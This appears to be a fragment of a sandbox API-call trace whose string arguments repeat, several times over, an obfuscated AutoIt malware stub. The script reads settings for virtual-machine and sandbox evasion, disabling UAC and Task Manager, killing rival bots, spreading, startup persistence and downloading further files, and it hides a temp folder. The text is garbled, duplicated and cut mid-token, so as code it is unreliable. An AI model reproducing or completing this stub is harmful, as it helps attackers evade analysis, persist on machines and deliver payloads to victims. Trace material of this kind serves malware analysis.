$FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09I", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.196] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.196] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If ", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.196] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.196] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="41B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const 